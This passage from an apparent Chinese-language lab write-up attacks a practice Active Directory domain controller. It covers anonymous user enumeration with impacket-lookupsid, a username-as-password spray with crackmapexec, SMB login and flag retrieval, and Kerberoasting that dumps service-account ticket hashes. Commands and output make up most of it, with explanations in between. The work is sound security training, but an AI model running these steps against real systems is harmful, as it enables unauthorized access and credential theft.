&lt;p&gt;我们想用 反斜杠 &lt;code&gt;**\**&lt;/code&gt; 作为分隔符，但 &lt;code&gt;**\**&lt;/code&gt; 在很多地方是转义字符，比如：&lt;code&gt;**\n**&lt;/code&gt; 表示换行。&lt;/p&gt;
&lt;p&gt;所以为了让 awk 识别真正的反斜杠，需要写成 &lt;code&gt;**\\**&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;第一个 &lt;code&gt;**\**&lt;/code&gt; 是告诉 awk“后面是一个特殊字符”&lt;/p&gt;
&lt;p&gt;第二个 &lt;code&gt;**\**&lt;/code&gt; 表示字面量的反斜杠&lt;/p&gt;
&lt;p&gt;举个例子：&lt;/p&gt;
&lt;p&gt;SOUPEDECODE\Administrator&lt;/p&gt;
&lt;p&gt;如果你用 &lt;code&gt;**-F&amp;#39;\\&amp;#39;**&lt;/code&gt; 分隔，awk 会把它拆成两列：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;列1&lt;/th&gt;
&lt;th&gt;列2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;SOUPEDECODE&lt;/td&gt;
&lt;td&gt;Administrator&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;**{print $1}**&lt;/code&gt; → 输出 SOUPEDECODE（域名）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;**{print $2}**&lt;/code&gt; → 输出 Administrator（用户名）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Sed 分析&lt;/h3&gt;
&lt;p&gt;sed &amp;#39;s/ (SidTypeUser)//&amp;#39;&lt;/p&gt;
&lt;p&gt;分解开来：&lt;/p&gt;
&lt;p&gt;sed：流编辑器，用来处理文本，可以对每一行进行替换、删除等操作。&lt;/p&gt;
&lt;p&gt;s/.../.../：这是 sed 的替换命令，格式是 s/要替换的内容/替换成什么/&lt;/p&gt;
&lt;p&gt;左边是你要匹配的文本&lt;/p&gt;
&lt;p&gt;右边是你想替换成的文本&lt;/p&gt;
&lt;p&gt;(SidTypeUser)：这是要匹配的文本，也就是每行末尾的 (SidTypeUser)&lt;/p&gt;
&lt;p&gt;注意前面有一个空格，要一起匹配&lt;/p&gt;
&lt;p&gt;//：替换成空，也就是把匹配到的内容删除&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3 \
| grep &amp;quot;(SidTypeUser)&amp;quot; \
| awk -F&amp;#39;\\&amp;#39; &amp;#39;{print $2}&amp;#39; \
| grep -v &amp;#39;\$&amp;#39; \
| sed &amp;#39;s/ (SidTypeUser)//&amp;#39;\
pipe pipe pipe pipe&amp;gt; &amp;gt;user.txt

得到user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SMB 爆破&lt;/h2&gt;
&lt;p&gt;使用&lt;code&gt;Crackmapexec&lt;/code&gt;进行&lt;code&gt;smb&lt;/code&gt;爆破&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;crackmapexec smb 10.0.91.3 -u user.txt -p user.txt --continue-on-success --no-bruteforce | grep +

    --continue-on-success
找到一个有效凭据后，不会停止，而是继续测试其他用户/密码组合。

--no-bruteforce
用户和密码是“一一对应”的，即第1行用户只搭配第1行密码，第2行用户只搭配第2行密码。不会进行全排列爆破。

👉 所以这里更像是“凭据对列表”测试，而不是字典爆破。

| grep +
CME 的输出中，成功登陆的行前面通常会有 + 符号。通过 grep 过滤，只显示成功的结果。

&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;┌──(root㉿kali)-[/home/kali]&lt;/p&gt;
&lt;p&gt;└─# crackmapexec smb 10.0.91.3 -u user.txt -p user.txt --continue-on-success --no-bruteforce | grep +&lt;/p&gt;
&lt;p&gt;SMB                      10.0.91.3       445    DC01             [+] SOUPEDECODE.LOCAL\ybob317:ybob317 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;SMB登录&lt;/h2&gt;
&lt;p&gt;smbclient //10.0.91.3/IPC$ -U ybob317     &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.0.91.3/IPC$ -U ybob317
Password for [WORKGROUP\ybob317]:
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; ls
NT_STATUS_NO_SUCH_FILE listing \*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用smbclient &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;smbclient //10.0.91.3/users -U SOUPEDECODE.LOCAL/ybob317%ybob317
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; dir
  .                                  DR        0  Thu Jul  4 18:48:22 2024
  ..                                DHS        0  Mon Jun 17 13:42:50 2024
  admin                               D        0  Thu Jul  4 18:49:01 2024
  Administrator                       D        0  Sat Jun 15 15:56:40 2024
  All Users                       DHSrn        0  Sat May  8 04:26:16 2021
  Default                           DHR        0  Sat Jun 15 22:51:08 2024
  Default User                    DHSrn        0  Sat May  8 04:26:16 2021
  desktop.ini                       AHS      174  Sat May  8 04:14:03 2021
  Public                             DR        0  Sat Jun 15 13:54:32 2024
  ybob317                             D        0  Mon Jun 17 13:24:32 2024
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;smb: \ybob317\Desktop\&amp;gt; get user.txt 
getting file \ybob317\Desktop\user.txt of size 32 as user.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// cat user.txt
6bab1f09a7403980bfeb4c2b412be47b 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SMBexec&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# impacket-smbexec SOUPEDECODE\ybob317:ybob317@10.0.91.3 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.


凭据正确（否则会是 STATUS_LOGON_FAILURE），说明 ybob317 用户 + 密码能认证。
但是 权限不足，不能使用 smbexec 远程执行命令。
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Kerberoasting&lt;/h1&gt;
&lt;p&gt;之前扫描端口，看到一个票据认证的服务端口，尝试找相关工具扫一下！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-19 22:00:51Z)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 靶机开着88端口，就是&lt;code&gt;kerberos&lt;/code&gt;的验证服务，我们可以尝试获取该用户的&lt;code&gt;SPN&lt;/code&gt;然后进行&lt;code&gt;kerberoasting&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;kerberoasting&lt;/code&gt;本质上就是破解TGS票据，TGS票据使用服务HASH来加密的&lt;/p&gt;
&lt;p&gt;首先第一步就是获取用户&lt;code&gt;SPN&lt;/code&gt; ，使用&lt;code&gt;Impacket-GetUserSpn&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;前置知识&lt;/h2&gt;
&lt;h4&gt;1️⃣ SPN（Service Principal Name）是什么？&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：SPN 是 &lt;strong&gt;服务的唯一标识&lt;/strong&gt;，用来让 Kerberos 知道“我想访问哪个服务”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：&lt;ol&gt;
&lt;li&gt;Kerberos 认证时，客户端需要拿到某个服务的票据（TGS）。&lt;/li&gt;
&lt;li&gt;SPN 告诉域控“我要访问的服务是 X，绑定在账号 Y 上”。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MSSQLSvc/db01.soupdecode.local:1433&lt;/code&gt; → 表示 SQL 服务绑定在某个账号上。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HTTP/web01.soupdecode.local&lt;/code&gt; → 表示 Web 服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总结：&lt;strong&gt;每个运行在域环境下的服务都有 SPN，通常是绑定在域账号上的&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;2️⃣ Kerberoasting 本质&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标&lt;/strong&gt;：获取域用户（通常是服务账户）的密码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：&lt;ol&gt;
&lt;li&gt;服务账户（带 SPN 的账号）在域里注册了 SPN。&lt;/li&gt;
&lt;li&gt;客户端请求访问服务时，域控会生成 &lt;strong&gt;TGS（Ticket Granting Service）票据&lt;/strong&gt;，用于访问该服务。&lt;/li&gt;
&lt;li&gt;TGS 票据是用服务账户的 &lt;strong&gt;NTLM hash&lt;/strong&gt; 加密的。&lt;/li&gt;
&lt;li&gt;攻击者可以获取 TGS 票据后&lt;strong&gt;离线破解&lt;/strong&gt;，得到服务账户明文密码。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;票据是离线破解 → 不会触发实时警报。&lt;/li&gt;
&lt;li&gt;依赖于 SPN 已经注册在域用户上。&lt;/li&gt;
&lt;li&gt;Kerberoasting 针对 &lt;strong&gt;域账户，尤其是服务账户&lt;/strong&gt;，而不是普通本地账户。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;3️⃣ 什么时候用 GetUserSPNs 工具&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工具作用&lt;/strong&gt;：&lt;ol&gt;
&lt;li&gt;枚举域内注册了 SPN 的用户（服务账户）。&lt;/li&gt;
&lt;li&gt;可以直接请求 TGS 票据并导出为 hashcat/john 可用格式。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用场景&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;你在内网获取了一个 &lt;strong&gt;域用户凭据&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;想要找到高权限服务账户并离线破解密码（Kerberoasting）。&lt;/li&gt;
&lt;li&gt;通常是渗透测试阶段 &lt;strong&gt;横向移动和提权前的步骤&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;必须有域账户凭据（本地账户不行）。&lt;/li&gt;
&lt;li&gt;不能针对 SMB 本地账号 Kerberoast。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SPN获取&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName    Name            MemberOf  PasswordLastSet             LastLogon  Delegation 
----------------------  --------------  --------  --------------------------  ---------  ----------
FTP/FileServer          file_svc                  2024-06-17 13:32:23.726085  &amp;lt;never&amp;gt;               
FW/ProxyServer          firewall_svc              2024-06-17 13:28:32.710125  &amp;lt;never&amp;gt;               
HTTP/BackupServer       backup_svc                2024-06-17 13:28:49.476511  &amp;lt;never&amp;gt;               
HTTP/WebServer          web_svc                   2024-06-17 13:29:04.569417  &amp;lt;never&amp;gt;               
HTTPS/MonitoringServer  monitoring_svc            2024-06-17 13:29:18.511871  &amp;lt;never&amp;gt;               
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -request 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 


[-] CCache file is not found. Skipping... 
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

🔹 解析
CCache file is not found
Impacket 想用 Kerberos票据缓存（ccache） 做认证，但没找到票据文件。
这个可以忽略，如果你是用明文账号密码请求 TGS 票据。

KRB_AP_ERR_SKEW (Clock skew too great)
Kerberos 非常依赖 客户端与域控时间同步。
错误意思：你的 Kali 虚拟机时间和域控（10.0.91.3）时间差太大（默认超过 5 分钟就会拒绝）。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要问题在于_Kali虚拟机时间和域控（10_.0.91.3_）时间差太大（默认超过_5_分钟就会拒绝）_&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# sudo ntpdate 10.0.91.3
2025-08-20 13:16:30.188845 (-0400) +53998.182220 +/- 0.000248 10.0.91.3 s1 no-leap
CLOCK: time stepped by 53998.182220
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;__&lt;/p&gt;
&lt;p&gt;__&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -request 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName    Name            MemberOf  PasswordLastSet             LastLogon  Delegation 
----------------------  --------------  --------  --------------------------  ---------  ----------
FTP/FileServer          file_svc                  2024-06-17 13:32:23.726085  &amp;lt;never&amp;gt;               
FW/ProxyServer          firewall_svc              2024-06-17 13:28:32.710125  &amp;lt;never&amp;gt;               
HTTP/BackupServer       backup_svc                2024-06-17 13:28:49.476511  &amp;lt;never&amp;gt;               
HTTP/WebServer          web_svc                   2024-06-17 13:29:04.569417  &amp;lt;never&amp;gt;               
HTTPS/MonitoringServer  monitoring_svc            2024-06-17 13:29:18.511871  &amp;lt;never&amp;gt;               

[-] CCache file is not found. Skipping...
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$f3767383cfeb5a5440c9b0ab3de4a30a$39c77960d4c3362ab5973a965de722db38639c955683cc4876e9f6089a4df6005830b238d4e81b4a994a9919de64cef2d7de9f57a06b8846e6189319c9db3d10beaf618cd0d3db3fca71f9657f215c7a8a238dc86af2ed9cdb1c567fbf99ec1c87d3c9b668802ecf55ed22f95702b48fd9340e22e5ea5a88c150340bbcb9f821f9830c55ed74d8db1581d6a8d1bed65ad8f141ddd186dd2a066c497d80556f496f69cfaf69306aef708e41dff44a8e9b6fcffeeb079009c64d648a828273bd5eb33e2374c8aa5cd127e9ed688ac4849dd136f384837d743f7cce4bd46e657a3012d1e7f567478f2660d76e2d854e2ffb8c8e47ce6953f48e7142ea162dad7bfe1810687dabe3da5646682a5bb77b940f471755b79184de187f3fc179b4271e68186d51a1cfca35f797b782fec13356b830c11dee5c2daae7f06fe885bf4912c1795ad60965beda2d671d7cb4e7e4d3098e743565a09fba951321ff0abb68d0f3c8ebdb72cbeaa49782e68a3726fc3901db8087251550a0e88bb0f509b4457b480be5b2e7017dedc9724c2465c3229d53832366f01d1f895e82407728a8400ddbc3ed3d8579459e2ad2ec52ec809aed47e22a5ef9e2f16e3babb2477056c675e0ae4d0c42591eaed9e73b52ead491548c6ea76e58411af0ffeb8856badebaf16a2e5664de2d4334b1fc7b0890dd945ac899eae19ec79b894b93fd936619aa4cbd9f5fb63331ae936dffc5e0880d39b107291a6dd96f2ea5814505cb29d8f74d4b0b26ff0db10e475aebc7a5fd2f27b9b656c881c5d962faae8efeddb30ecc2018a65a097e944970b357197c2713b32dcd744001b8e1e4a3a8e37862cce1d5190226c743c82778673e9e216571a0328c77177e81b3c7dd7239e0f2031007c58c584f60d581be9b9145411897bd87577b2d027646f9b5f7319cfee48910646b5f31aed50b430529821924b9b94ed355703d8897b4df1cc42f0762c072e616be071e5f493e0b2bf5099ab4e3a8af6177074100556fdebec0315d00e84482da49cd56660d5fcd4b8435fef107329646abe5c0a6ca79c95bd82fc2b211054107b950e1d3b995fd095b998896fb80d9bbe03b7673dec584a93b25917964b5a2a0fa319881da217cf3e2020face48848734b5d960c50278419702a091237c42cf7b1aff159e9ec3b369e7677d1408d10df6a2af8a5a10d090f06af5df2a59118545feddf8659d88aef008ae7171fd5cd0e7ea3e2c3248a0a186c5221069d246d6ea67f2a493195c03f574086926ec245fd942185444dc51411e0f6dac4df227b6bc585c01e896e555d697149f14a22cff5904dbe2f2ac28ccbcfa1628c175984a90bc70133eb41ef779f44013a3647ceaf6875fec98093dca38ccb77139b969a3d1bc26366068c0451697855155370c9dca75116b90d99f7d043ac7ce70aa90b3b57fe94bb7b167e6f1b79ba89d1badfa8b4aeec393eb3a22e7d0d3d43330404a61e13bc67
$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/firewall_svc*$ab7469761075f86228b2fd22b112ee67$c2c7811a3012e3f18c193fdcd71e702d5181e7537fe3d6bc6d1a5a62aea97e90bf906beb32e20b1c6af719ad66127fcacdc365735fbc44cc3180a346e76083cc0d9d9ca55d99e6c45eb6694f5459dc6f7165675e9476c195195cbb105c25533f38fb1ebd3dba58d35038fc43321f51d95af06066d7f4450f074215c8d1fc7832f6bedbdc8a30d95a2ad17e04d8a04c2344db0414a33d0666d5d7f67e50e1573a5dee8f986baad095b60e96bc9252f2711ce71545242cdb2d46ea624beb90d21f7671eb076d2c593de8ea668968464f4202f676d4157e34237da5907477c8c7c54a45b1503818880b62c34f4515435b5e88e147c79a54ea69f70c56fd5dd97add63acf7a530499e26400531a7dde63d8158a74f5e94651e616865ddf29d33c781b529fc3d8685ac01ca0850528d60cdc505832dbe759a5f92f0bac1f42772def41f47e455c823082138757df39e59d6d40464354ef9c4f2b80dc71f723072197129e75c38f7edd75b49b3cbeb57a2fe4c81c7959dc4038ab6c89aa1bfd2fbaa027b4e4a609d8adbf98822862578bdf6aebd8fe2da04a57ed522d7193a177d5373a176c886162aa26d3ac4b1383aa5edeeea8991bdbe6ea6832b8617e74be40afde752d611084576d70a27d5f99f29306805039aec5855772f207572e5ee73485cac223b07e8ecb20df0a5449a2a2158f50b1284fce29425bf39a8924f89bf128e9413ec87e9987425516ab000177db7bdfa9371aa98a2084fd8990f6e1f77f98223f1839881c5d158bfbc3612660cdc4bb505f7370a2e0fe46993558da958ac6de774126fab705bf11ef9ad67c2042133381a96a436c988d8eb09103d8f2e8a89c4430587f5e37120e23a850a2f2cf2d49fab144de77ce86a6f9fa45c43075dcbe2adc874a081a2f35490f252948ed9657986d77299e8598976ebacf535f9349157b4f0e9a7a54aafc2a1be7507e6f424633c462858d4cf5c99966232209f0a62775a990bbac441ca8c8fd1e05a7ad77f6e591d443d63b300e359aeca679839909b80b787a0562dcfad6d26da4a7bdfca598795933ec645ef0e969ef34a1ba4873e29ca40bc286616a2e9a43c67e239c092de5aa53c82880ac2c38feb703bd904a9017755f109300b9e868688faf6c4b7a7318851f1d6c1873e1919e724b99b336cf24ad8f6c9bd269b24d9d4fdbd84d064d582b9a8a5fbb0ae1c42ed598beaf663086d248c80ec7c4f0eb9379d281796c42cd76a319f9ec90bdb37c318860ac4a1497290ae1ff8001762edb76a4f7bd6642e099c72b81a5440cec17447cdb06cd5a7f4ad81968499f101035c5768a4d2e473cb520c43abc5aac68e2c174a8fffde69343a63f97bc21aaf9fa4774edf41b69ec314732a428ae35ad36a4ba9aa55fdc6cdb4f55fc64deec1a3bd7a433b064287cf1a9e46c1317f1f75251e946f2c9e02bb0ad3b8f4139c82b832633c8cc9f70649a07c6d5ad38999d8ad98815c5d45
$krb5tgs$23$*backup_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/backup_svc*$2bff5855b0f6911478f544849e8e9823$53e384caccb4874a4ed81e37dd3a368563aba75da62476bb3202806db89deefad7ed532bf604d53ac5275d5fb80cdfb6ad6653c693852bcbeec917a908f7970474df952d10ea3586b90fdc38efc0a8cc4d743a977bb5eb075b8ab50fed0169c642cccc812eb54c91622ff7ed0b355f9c9db4258badb0c7cf20fd400f4342ca8f616db95cdd7bcd583c967fe0b798c8ec6220ed11784641c6ab56910cccda7fb7a36319bf0a6dcce101e3b45b525a5cab370bd995240b1774ac2aa9fcebfd66bbb8204aeb9378c46ec9377374b46c90b239ce10a03a80638dfb163055fd2be6834f7d7b67776c07b9a1372b24c3b5fc48f5f3010fb43e0c7b045a734efb10a809ace052bf7114e24d0dcff0424b64a18a098e26aaa7e8cd27a5ead4319bba5d2459625ecd18e04b472bcbe574a61339532da49ad51ab643896040385378e6a2ca3a5dc0cfea1d66115f88acedad62762b7aab8142fda5a039b3b6b03cee8856a432d76aa7db6137d2a40faf878d064fe8b37dcb1ca7e631f60d1eb99691ca563ee3c2a738d9cf83887df44fc5736ac0945951d9a87d76571413a26c96f971c856356c422a4b18d8a912a65527eedb7021ed1b987d60ea7524ba70c20e09e14a041e0e5c4ce005648ca2dd31516e53c3a75e83664db7d02c201de18656a8e046a47b5b6b88fe6bed05c5ea0b0cb69c2d148d9a14b2f4bdba53b35e44b920262b348d2c04c05b29e8bb7f266467f8c63fb0186b683373ad0954b35ffabbfb404530a4ffca93bfe8d73cb6bbf5b68fea56a3f313c2f164f22a0140f2d6e202c5af2ab2f9df517eba861c10bc6e016fb32ed6010c012c45d314cee4d17d6dc230168f3706fad2f6fb3752447c229ab5d41da208e3bf5ab6387860d15e3fab9ec981610129de2ba09b50daab1aa9253e9051e6782fc5fce50f8994cc01f7e83543813b8d5c09e41ab709919385ae00e8c1a1774f60a6354aca790be856c432742029a22425fad11901b79c8361897730b6a3afdf17a11979bdb8e418af540331a1bcaf88b9e7c5f82831299190f7d33a5ebcf910950b05d063237b7b88492d6bb741f48f34d3598399dd81d073aa620a1f42a7d67ee813ec51c556f61863bd9e3092e5329aa8b2099f65eab731c6f6c5951764216be679c89b8f6e2bd9ad5330b725c791b425358355b5cfa61a0aa72e7bafa47e99e2aabe6012a4550c787df880c33b095d4feda926267dbb39f0955ef9cdaa0732992c18251f0f64e03fb413234fbf635aea4c2d691adefd069726a2cfdfe063b2c239ffb57394eebdd82e8ef50863625672a690df2421c44fb6998cad374e54c3be335c49101e0a379b718684a905166aae1855d8f03c7a9fd8921690b502c205b24d9785ed9f89679ba1597d78333f32e97ceb292681a7b68592433a6f5c8ba7aab82d7c72985e3cb0c19d0cc3ed22cc26aa554f458ca750835402bb7448fe98d7e7634639261a4785d59c6e5d2a6d
$krb5tgs$23$*web_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/web_svc*$31cd7b6ddd70d011ece9ba3dabbf35da$9d184606b31a074d6a0dbfdd8b524d02224378511924a26fe81ff7bf96996cdb64e0b1ec5f73005cc68765b8447bf146fc6b53974f14277873596c16b4d61684cfd10ac9bd4fba97af298693d6ff3d0c2cfd17953a87dc980df9a3b51e89a2d5d4952e31660e9ba72b6341e9f3b1a095ebe9c58410502a432f4be68da6fc7d01ce7f3894ae99d8f4466557dbc303a4aafee6f79d5c0ff7fd816781627900c74dca438eab5f07fedb31cf2eb746be1aaebdc6b4cd01526f316d2872fa33798cda82cb0c0ec16c29f7fa47c165038fdaca19670d3b5d521b67ba4989a33304719fc8a4b9e5435124417d569f6d688a073fdd2215342877362ffcda765a35ad8ffdab89a0ae0bd12f38310a43e07976656a57dfcc041a20a25ce35921be4e809bdd4e4320a4be3cac66061a88faef0bf421630688451438c4e22771251e4764a7909bcbfc06aa12685db44ea6799822ad552f044a60a2777ef06dc9638840cb21532af52b1f88ce0db1526f507eacb789b10d450ad8372a2d0d84ff8cf95ef3e07d1500f01f2657f351ba115b2277e89db979c590923df5484e75d2bf028d9c08b1d51b322605fc169e08f36d3da1cf1ebad4fb8c00540ca032ef83bfc040a78b15325a48738ad0047b1ea91f538d078c5709bfd4128df2825060afa8ad1ba45a2d2af143889cae26a7ac31fbbc73507cd663728eb402fa0fe1a4253e2cc5606bc6f1d6310a35c99ecb2b9ccb5fb1d454c4c13ed0224ba6f5d75cc09a179a63837ebd92932422cc804b254e95181d569f044ef22335830e782a194831b4818f00789ff3de1d2440bd624e6d9cd09bb356a788a97de91561d2ce0d20f8369494a52cadfe2017f0e24314eed718341c3616219115ccd637bbc6db96052cb2d518c8c720e9b70f490ceee23d6c45568466e9ab7a1548e1550466786c51c6bc5e365f8324203f8af07a0d7648e69c936a248dbf74f6decffd91e73653fc0042650054e74bffb200b4532d32dc66ce3c6f62a0cd9127cc2a1b86772f3cd3cee8b9681ead9127c6329b675d75fec80398ab64e5b329d19156ff13f83bf4519ca7924dd8fd0d94b21c771723e8254d2cb135568c59549291111cb458ed036a8c999533ab87303745411e0fe5e957688ad489878ccf08d3bf8226cac536c07fbee73b479f155cc37107fc59160dbd5f52caac082a8f2d3f2908bf1bbdbbe6bec3c8b25d1c76a402c6e989750e89ff32aafcb4f341929831101266aa55b225e285f3625a519443a60da00a54f17d817f38c1e34276543db03ea3efa58e8d6f293887955e13a4cc51a0bfb9f5f7ae06377427fe5bf61fe70679ee849b88f7999b211fd32863ccd276222fabe66c30745c3fd4ace960c890974cf98c562c14fb5f2d9e49eaabe3c84c40f19610ed651e27918bcd53e43b9f62b124247e39aa96d8035d0f58f5a48f2e85c3c71bd9eda88e70fa2ffdce2507369928def0b6f4db739c9d7673d0c3ff
$krb5tgs$23$*monitoring_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/monitoring_svc*$829f0d1678f8e67049da813ed36ef73f$ca50d9fa720b1cf6357064e6cb3fb356be980dcf8a44c69869686bbf81de12d9d3ac5bffd3ba66992722f4b192a23cd1a6ccf464764a6d4c937a3851066d6384accdc7ce69799b5e783e057bbed6b71eac1af1eee45c41a8cffe7a172c8d23b26665f899783304c910a2303f76cefd4927fda756118af16e90b3d8352cc0df50c02abad581533d19cb72fdce237cdff8af45b3b3b4480a1f265567c09850978779eb088f415c454209558ce8c5423afba421b9fe6dbe79ffa135f09023e925c7b1a5f20738bb926e9de4d9b9fe2cda7e75f79376c82df3241cc552129dc72d9239f838b140460d812e4a7a773c9f6b1843846c3210497cd2477b4bbbdd623aaf0fdfefb3b174e3b38aa89800ad689b8b262b14b4c3c324a806cd8848070812e3475e16eb74634d53b429b94b8a2a78f0d6df94531ee1c5be659c580db37f01c7449ac19a4807bbf9eed5d912451a0f3daaa1439c832dff702c8f6a5176f8b7071e4f3ba5d49ea3f1eb774c8e46bcbf3e760d24830d9aa0d435d8e3c94430977af97cf968900e180c8f64df2352a47592dc60b905f1404dd55818599c7b7217eecae3a7e99006872a41ef5bde9d1d5e27561ccf8898f3aed2184cb6ce415215334c3a71bec044eeb72b5218be00ed6992325f2572526d67a95dfdf3c26c9d7b42fb0d11cd4ffb2f0f7edfce0ecdb6108a6dc533fb1e6fb48a0691c5d4308f4cd61e1e3858f120ae0f0cadfd9fcccebf8e855cec9d21c9143c45c824489d55df4e6c4beebab811c253b148d172bf3d886369f5f870822682de8105ceb7ed681884df57e45190e6decf38696f304f8b6ad909b8c106b33fd6c6d24936cfa87ff536c5e1b6bca93d813c4142b1cfa33218b68171c6096c6aafdeb9630411526ff96adac8b0484d47588051d4a73e571aa51c91269f7feede165007d6b1f7cd9e09b4d27dbd1c7fd61145cc8bb230f747f6ef1b312585a0f372193e2823220def36e0860cea0de3e450e4fa137892fb21be597800861cb50e5f3cb8bf9da60c56ca046548b29b0f5e8bd4e2f6646a1ce7b428573eb9da811c3958c43a21f768039cae3b93eebea0205715393ead8789dc1ed1f7097a43faa9f0a4cf79b8e02dc388045e4431ea523f89f3bd860669b4911deb29fd93d97e82884573523c2b81217e9f32aafc38484abbc04b92e339a058ddf4f4ad02cb954985b19467c6d353ffa1a240d1e6deaaeb670f27df6ea1aeb3336681c28801bbe4eb0c9b3eb17748d15ab908c4365bacd0ae64a7462c5c02f2dc7eda13d484d1cf3cf6f4d71175092280646ab9287c45bf701f3ffb4b5f6ab89c8950ccfa22ff6a074b2b985f14e24fe796020695b1fe56e0d3efd36eb8f38a70f72ac31762508b7c47a9dd60dc43ede2bf9100beb70c43f0c6275fdbd8c9b35588d8d04e4a5ae8bf53fd293244ff4cd88778f451fde85f79a2f97593d863f95e874fc5af4f8f09d63a113f82ff5204903667
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;为什么普通用户能枚举 SPN&lt;/td&gt;
&lt;td&gt;LDAP 默认允许读取域用户对象，SPN 是公开信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
